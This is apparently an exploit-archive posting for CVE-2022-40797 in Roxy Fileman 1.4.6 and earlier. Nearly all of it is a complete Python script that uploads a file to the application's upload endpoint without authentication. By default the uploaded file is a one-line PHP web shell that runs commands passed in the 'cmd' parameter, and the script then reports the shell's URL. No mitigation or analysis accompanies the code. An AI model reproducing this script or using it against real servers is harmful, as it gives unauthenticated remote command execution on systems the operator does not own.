Roxy Fileman 1.4.6 Remote Shell Upload

2022.11.21
Credit: Hadi Mene
Risk: High
Local: No
Remote: Yes
CWE: CWE-264

# Exploit Title: Roxy Fileman <= 1.4.6 Arbitrary File Upload (Unathenticated) # Date: 11/12/2022 # Exploit Author: Hadi Mene <hadi_mene@hotmail.com> # Vendor Homepage: roxyfileman.com # Software Link: https://web.archive.org/web/20210126213412/https://roxyfileman.com/download.php?f=1.4.6-php # Version: <= 1.4.6 # Tested on: Ubuntu 18.04 # CVE : CVE-2022-40797 # https://nvd.nist.gov/vuln/detail/CVE-2022-40797 import requests from optparse import OptionParser from os.path import basename banner = '#################################################\n' banner += '# Roxy Fileman <= 1.4.6 Arbitrary File Upload #\n' banner += '#\t\t\t\t\t\t#\n' banner += '#\tCVE-2022-40797 exploit code\t\t#\n' banner += '#\t\t\t\t\t\t#\n' banner += '#\t\t\t\t\t\t#\n' banner += '# Author : Hadi Mene <hadi_mene@hotmail.com>\t#\n' banner += '#\t\t\t\t\t\t#\n' banner += '#################################################\n' parser = OptionParser() parser.add_option("-u", "--url", dest="url", help="url of roxy fileman installation") parser.add_option("-s", "--shell",dest="shell", default=False, help="path of the php shell if not specified defaut shell will be uploaded ") (options, args) = parser.parse_args() if options.url is None: parser.error('URL is required use -h for help') url = options.url #It seems that in some versions of the app an '/' in the end of the url breaks the exploit code if (url.endswith('/')): url = url[:-1] # we delete that '/' webroot = options.url.split('/')[3:] webroot = '/'+ '/'.join(webroot) if (webroot.endswith('/')): webroot = webroot[:-1] webroot = webroot+'/Uploads' if options.shell: shell = open(options.shell,'r').read() filename = basename(options.shell) filename = filename.split('.')[0] else: # default shell shell = "<?php system($_GET['cmd']); ?>" filename = 'shell' headers = { 'Host': (url.split('/')[2]), 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Content-Type': 'multipart/form-data; boundary=---------------------------39556237418830295983527604767', 'Origin': (url.split('/')[2]), 'Connection': 'close', } data = '-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="method"\r\n\r\najax\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="d"\r\n\r\n'+(webroot)+'\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="files[]"; filename="'+(filename)+'.phar"\r\nContent-Type: text/plain\r\n\r\n'+shell+'\n\r\n-----------------------------39556237418830295983527604767--\r\n' #We check if a file with the same filename is already there #because Roxy doesn't overwrite file instead it changes the filename of the newly uploaded file if 'href="'+filename+'.phar"' in (requests.get(url+'/Uploads/').text): already_uploaded = True else: already_uploaded = False # file upload req = requests.post(url+'/php/upload.php', headers=headers, data=data, verify=False) response = (req.text) print(banner) if '{"res":"ok","msg":""}' in (response): # success print('File Uploaded Successfully!!!') if already_uploaded: print('A file with the same filename is already on the server..') print('URL: '+url+'/Uploads/'+(filename)+' - Copy X.phar ') else: print('URL: '+url+'/Uploads/'+(filename)+'.phar') else: # failure print('Shell Upload Failed :((( ') print(response) #debug


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